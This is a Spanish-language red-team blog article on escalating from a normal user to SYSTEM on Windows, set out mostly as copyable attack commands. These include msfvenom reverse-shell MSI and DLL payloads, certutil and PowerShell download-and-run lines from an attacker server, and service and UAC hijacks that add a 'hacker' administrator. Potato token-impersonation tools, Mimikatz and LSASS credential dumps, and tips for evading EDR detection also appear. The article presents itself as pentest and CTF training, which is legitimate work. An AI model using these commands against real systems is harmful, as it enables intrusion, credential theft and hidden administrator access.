Saltar al contenido

Escalada de privilegios en Windows: de usuario a SYSTEM

    Escalada de privilegios en Windows:

    de usuario a SYSTEM

    Serie Red Team | unfantasmaenelsistema.com

    Windows tiene su propio ecosistema de escalada de privilegios, distinto al de Linux pero igualmente rico en vectores. Tokens de acceso, niveles de integridad, el Control de Cuentas de Usuario, servicios mal configurados, DLLs que se cargan desde directorios con permisos incorrectos, y la familia de ataques Potato que convierte el privilegio SeImpersonatePrivilege en acceso de SYSTEM. El entorno corporativo añade Active Directory, Kerberos y una superficie de ataque que cubre los artículos siguientes de la serie.

    Este artículo cubre los vectores más frecuentes en sistemas Windows standalone, con la enumeración específica de cada uno, los comandos exactos para detectarlos y explotarlos, y el flujo que sigue un pentester para llegar desde un usuario sin privilegios hasta SYSTEM.

    1. El modelo de privilegios de Windows

    Antes de intentar cualquier técnica, hay que entender cómo funciona el modelo de privilegios de Windows. Es fundamentalmente diferente al de Linux: en lugar de un bit SUID y el concepto de root, Windows usa tokens de acceso, niveles de integridad y privilegios asignados a usuarios y grupos.

    El privilegio más importante para la escalada de privilegios en Windows es SeImpersonatePrivilege. Este privilegio permite a un proceso impersonar el token de otro proceso. Las cuentas de servicio (IIS, MSSQL, servicios de Windows) lo tienen por defecto, lo que significa que si conseguimos acceso a través de una vulnerabilidad web en IIS, casi siempre tendremos este privilegio disponible para escalar a SYSTEM.

    2. Enumeración inicial

    El primer comando es siempre whoami /all: muestra usuario, grupos y privilegios en una sola línea. SeImpersonatePrivilege presente en la lista es casi siempre la vía más rápida a SYSTEM.

    whoami

    whoami /priv

    whoami /groups

    whoami /all

    systeminfo

    systeminfo | findstr /i «os name»

    systeminfo | findstr /i «hotfix»

    net user

    net user Administrator

    net localgroup

    net localgroup Administrators

    tasklist /svc

    tasklist /v

    Get-Process | Select-Object Name,Id,Path

    sc query type= all state= running

    netstat -ano

    netstat -ano | findstr LISTENING

    set

    Get-ChildItem Env:

    reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

    reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

    ▲ Comandos copiables

    3. AlwaysInstallElevated

    AlwaysInstallElevated es una de las misconfiguraciones más simples de explotar: cuando está activa, cualquier usuario puede instalar un paquete MSI con privilegios de SYSTEM. Es una configuración que los administradores activan a veces para simplificar la instalación de software y olvidan desactivar.

    reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

    reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

    Get-ItemProperty ‘HKLM:\SOFTWARE\Policies\Microsoft\Windows\Installer’ -Name AlwaysInstallElevated

    Get-ItemProperty ‘HKCU:\SOFTWARE\Policies\Microsoft\Windows\Installer’ -Name AlwaysInstallElevated

    msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.56.10 LPORT=4444 -f msi -o shell.msi

    python3 -m http.server 8080

    certutil -urlcache -split -f http://192.168.56.10:8080/shell.msi C:\Windows\Temp\shell.msi

    msiexec /quiet /qn /i C:\Windows\Temp\shell.msi

    Start-Process msiexec -ArgumentList ‘/quiet /qn /i C:\Windows\Temp\shell.msi’ -Wait

    ▲ Comandos copiables

    4. Servicios vulnerables

    Los servicios de Windows son procesos que se ejecutan en segundo plano, normalmente con privilegios elevados. Hay tres vectores distintos según qué permiso incorrecto tiene el servicio: permisos sobre el ejecutable, permisos sobre la configuración del servicio, o una ruta sin comillas con espacios que permite colocar un ejecutable en una ruta intermedia.

    wmic service get name,displayname,pathname,startmode

    Get-CimInstance Win32_Service | Select-Object Name,PathName,StartMode,StartName

    wmic service get name,displayname,pathname,startmode | findstr /i «auto» | findstr /i /v «c:\windows\\» | findstr /i /v «\»»

    Get-CimInstance Win32_Service | Where-Object {$_.PathName -notmatch ‘»‘ -and $_.PathName -match ‘ ‘} | Select-Object Name,PathName

    icacls «C:\Path\To\Service.exe»

    Get-Acl ‘C:\Path\To\Service.exe’ | Format-List

    sc sdshow VulnService

    accesschk.exe -ucqv VulnService

    accesschk.exe -uwcqv «Authenticated Users» *

    sc config VulnService binPath= «cmd /c net localgroup Administrators hacker /add»

    sc stop VulnService

    sc start VulnService

    sc config VulnService binPath= «C:\Path\Original\service.exe»

    ▲ Comandos copiables

    5. DLL Hijacking

    Cuando Windows carga una DLL, busca en varios directorios en orden. Si un proceso privilegiado intenta cargar una DLL que no existe en los primeros directorios de búsqueda, y tenemos permisos de escritura en alguno de esos directorios, podemos colocar nuestra propia DLL maliciosa que se cargará con los privilegios del proceso.

    msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.56.10 LPORT=4444 -f dll -o maliciosa.dll

    Get-Process -Name VulnApp | Select-Object -ExpandProperty Modules

    tasklist /m /fi «imagename eq VulnApp.exe»

    icacls «C:\Program Files\VulnApp\»

    copy maliciosa.dll «C:\Program Files\VulnApp\target.dll»

    sc stop VulnService

    sc start VulnService

    x86_64-w64-mingw32-gcc -shared -o maliciosa.dll maliciosa.c -lws2_32

    certutil -urlcache -split -f http://192.168.56.10:8080/maliciosa.dll C:\Windows\Temp\maliciosa.dll

    ▲ Comandos copiables

    Process Monitor (Procmon) de Sysinternals es la herramienta indispensable para detectar DLL hijacking. Filtrando por Operation = CreateFile + Result = NAME NOT FOUND + Path ending with .dll, muestra exactamente qué DLLs busca cada proceso sin encontrar. Si la ruta buscada está en un directorio donde tenemos escritura: vector identificado.

    6. Token Impersonation: la familia Potato

    Si whoami /priv muestra SeImpersonatePrivilege: Enabled, la escalada a SYSTEM es casi directa con las herramientas modernas de la familia Potato. Esta familia de ataques crea un servicio COM/RPC local al que un proceso SYSTEM se conecta, captura su token y lo impersona para ejecutar comandos con los privilegios de SYSTEM.

    whoami /priv

    whoami /priv | findstr /i «impersonate»

    certutil -urlcache -split -f http://192.168.56.10:8080/PrintSpoofer64.exe C:\Windows\Temp\ps.exe

    C:\Windows\Temp\ps.exe -i -c cmd

    C:\Windows\Temp\ps.exe -c «net user hacker Pass123! /add»

    C:\Windows\Temp\ps.exe -c «net localgroup Administrators hacker /add»

    certutil -urlcache -split -f http://192.168.56.10:8080/GodPotato.exe C:\Windows\Temp\gp.exe

    C:\Windows\Temp\gp.exe -cmd «cmd /c whoami»

    C:\Windows\Temp\gp.exe -cmd «cmd /c net user hacker Pass123! /add && net localgroup Administrators hacker /add»

    certutil -urlcache -split -f http://192.168.56.10:8080/JuicyPotato.exe C:\Windows\Temp\jp.exe

    C:\Windows\Temp\jp.exe -l 1337 -p C:\Windows\System32\cmd.exe -a «/c net user hacker Pass123! /add» -t *

    load incognito

    list_tokens -u

    impersonate_token «NT AUTHORITY\SYSTEM»

    ▲ Comandos copiables

    La elección de herramienta depende de la versión de Windows. PrintSpoofer y GodPotato funcionan en Windows 10 y Server 2019/2022. JuicyPotato funciona en versiones anteriores pero requiere un CLSID específico para el sistema objetivo (hay listas disponibles en GitHub). En entornos más modernos donde ninguno de estos funciona, RoguePotato o SweetPotato son alternativas a considerar.

    7. UAC Bypass

    UAC (User Account Control) es el mecanismo que muestra el prompt «¿Desea permitir que esta aplicación realice cambios?» cuando un proceso intenta elevarse. Si tenemos acceso como usuario del grupo Administradores pero con nivel de integridad Medium (sin el prompt de elevación), necesitamos un bypass de UAC para llegar a High o SYSTEM.

    whoami /groups | findstr /i «integrity»

    New-Item -Path HKCU:\Software\Classes\ms-settings\shell\open\command -Value cmd.exe -Force

    New-ItemProperty -Path HKCU:\Software\Classes\ms-settings\shell\open\command -Name DelegateExecute -Value » -Force

    Start-Process fodhelper.exe

    Remove-Item -Path HKCU:\Software\Classes\ms-settings -Recurse -Force

    New-Item -Path HKCU:\Software\Classes\mscfile\shell\open\command -Value ‘cmd.exe /c net user hacker Pass123! /add’ -Force

    Start-Process eventvwr.exe

    Remove-Item -Path HKCU:\Software\Classes\mscfile -Recurse -Force

    use exploit/windows/local/bypassuac_fodhelper

    set SESSION 1

    run

    ▲ Comandos copiables

    Una aclaración importante: el UAC bypass solo es relevante si ya somos miembro del grupo Administradores. Si somos un usuario estándar sin pertenencia al grupo de administradores, el UAC bypass no aplica. En ese caso hay que escalar primero con alguno de los vectores anteriores y luego hacer el bypass de UAC si es necesario.

    8. Credenciales almacenadas

    Windows almacena credenciales en múltiples lugares: el gestor de credenciales, el registro de Winlogon (autologon), archivos de configuración de aplicaciones web, archivos de instalación desatendida y el historial de PowerShell. Cualquiera de ellos puede contener credenciales de administrador en texto claro.

    cmdkey /list

    runas /savecred /user:Administrator cmd.exe

    reg query HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

    reg query HKCU\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

    findstr /si password *.txt *.ini *.config *.xml

    findstr /si password C:\*.txt

    findstr /si password C:\inetpub\wwwroot\*.config

    type C:\Windows\Panther\Unattend.xml

    type C:\Windows\Panther\Unattended.xml

    type C:\Windows\sysprep.inf

    type C:\Users\usuario\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

    Get-ChildItem -Path C:\ -Include *.txt,*.ini,*.xml,*.config -Recurse -ErrorAction SilentlyContinue | Select-String -Pattern ‘password’ -CaseSensitive:$false

    ▲ Comandos copiables

    Los archivos de instalación desatendida (Unattend.xml, sysprep.inf) merecen atención especial: se usan para desplegar Windows en múltiples máquinas con una configuración predefinida, y frecuentemente contienen la contraseña del administrador local codificada en base64 o incluso en texto claro. Estos archivos deberían eliminarse después del despliegue pero con frecuencia no se hace.

    9. SAM y LSASS: las bases de datos de contraseñas

    Una vez que llegamos a Administrador o SYSTEM, el siguiente objetivo suele ser extraer hashes de contraseñas para movimiento lateral. SAM contiene los hashes de las cuentas locales. LSASS mantiene en memoria las credenciales de los usuarios con sesión activa.

    reg save HKLM\SAM C:\Windows\Temp\sam.save

    reg save HKLM\SYSTEM C:\Windows\Temp\system.save

    secretsdump.py -sam sam.save -system system.save LOCAL

    secretsdump.py Administrator:Password@192.168.56.101

    certutil -urlcache -split -f http://192.168.56.10:8080/mimikatz.exe C:\Windows\Temp\mimi.exe

    C:\Windows\Temp\mimi.exe

    privilege::debug

    sekurlsa::logonpasswords

    lsadump::sam

    lsadump::secrets

    C:\Windows\Temp\mimi.exe «privilege::debug» «sekurlsa::logonpasswords» exit

    procdump.exe -accepteula -ma lsass.exe C:\Windows\Temp\lsass.dmp

    pypykatz lsa minidump lsass.dmp

    ▲ Comandos copiables

    Una consideración importante sobre los antivirus modernos: Mimikatz es detectado por prácticamente todos los antivirus con firmas actualizadas. En entornos con EDR (Endpoint Detection and Response) activo, se necesitan variantes ofuscadas o técnicas alternativas como el dump de LSASS con procdump (firmado por Microsoft, menos sospechoso) y el procesamiento offline con pypykatz.

    10. WinPEAS: enumeración automática

    WinPEAS es el equivalente Windows de LinPEAS: un script que enumera automáticamente cientos de vectores de escalada de privilegios y codifica los resultados por colores según la probabilidad de éxito. El proceso de transferencia y ejecución requiere un servidor HTTP temporal en Kali.

    python3 -m http.server 8080

    certutil -urlcache -split -f http://192.168.56.10:8080/winPEAS.exe C:\Windows\Temp\wp.exe

    Invoke-WebRequest -Uri http://192.168.56.10:8080/winPEAS.exe -OutFile C:\Windows\Temp\wp.exe

    C:\Windows\Temp\wp.exe

    C:\Windows\Temp\wp.exe > C:\Windows\Temp\winpeas_output.txt

    IEX(New-Object Net.WebClient).DownloadString(‘http://192.168.56.10:8080/winPEAS.ps1’)

    certutil -urlcache -split -f http://192.168.56.10:8080/Seatbelt.exe C:\Windows\Temp\sb.exe

    C:\Windows\Temp\sb.exe -group=all

    IEX(New-Object Net.WebClient).DownloadString(‘http://192.168.56.10:8080/PowerUp.ps1’)

    Invoke-AllChecks

    ▲ Comandos copiables

    11. Resumen de vectores y flujo completo

    Conclusión

    La escalada de privilegios en Windows sigue una lógica similar a la de Linux: enumeración sistemática, priorizar los vectores más probables primero, y usar herramientas automáticas como WinPEAS para no pasar nada por alto. La presencia de SeImpersonatePrivilege es el vector más frecuente en máquinas de CTF porque es el privilegio que tienen por defecto las cuentas de servicio web, y las máquinas CTF frecuentemente usan vulnerabilidades web como punto de entrada.

    El siguiente artículo de la serie cubre Active Directory: el entorno donde transcurre la mayoría de las auditorías corporativas reales. Kerberoasting, AS-REP Roasting, Pass the Hash, BloodHound, y la escalada desde un usuario de dominio sin privilegios hasta Domain Admin.

    unfantasmaenelsistema.com | Seguridad, sistemas y todo lo que no debería funcionar (pero funciona)

    Resumen de privacidad

    Esta web utiliza cookies para que podamos ofrecerte la mejor experiencia de usuario posible. La información de las cookies se almacena en tu navegador y realiza funciones tales como reconocerte cuando vuelves a nuestra web o ayudar a nuestro equipo a comprender qué secciones de la web encuentras más interesantes y útiles.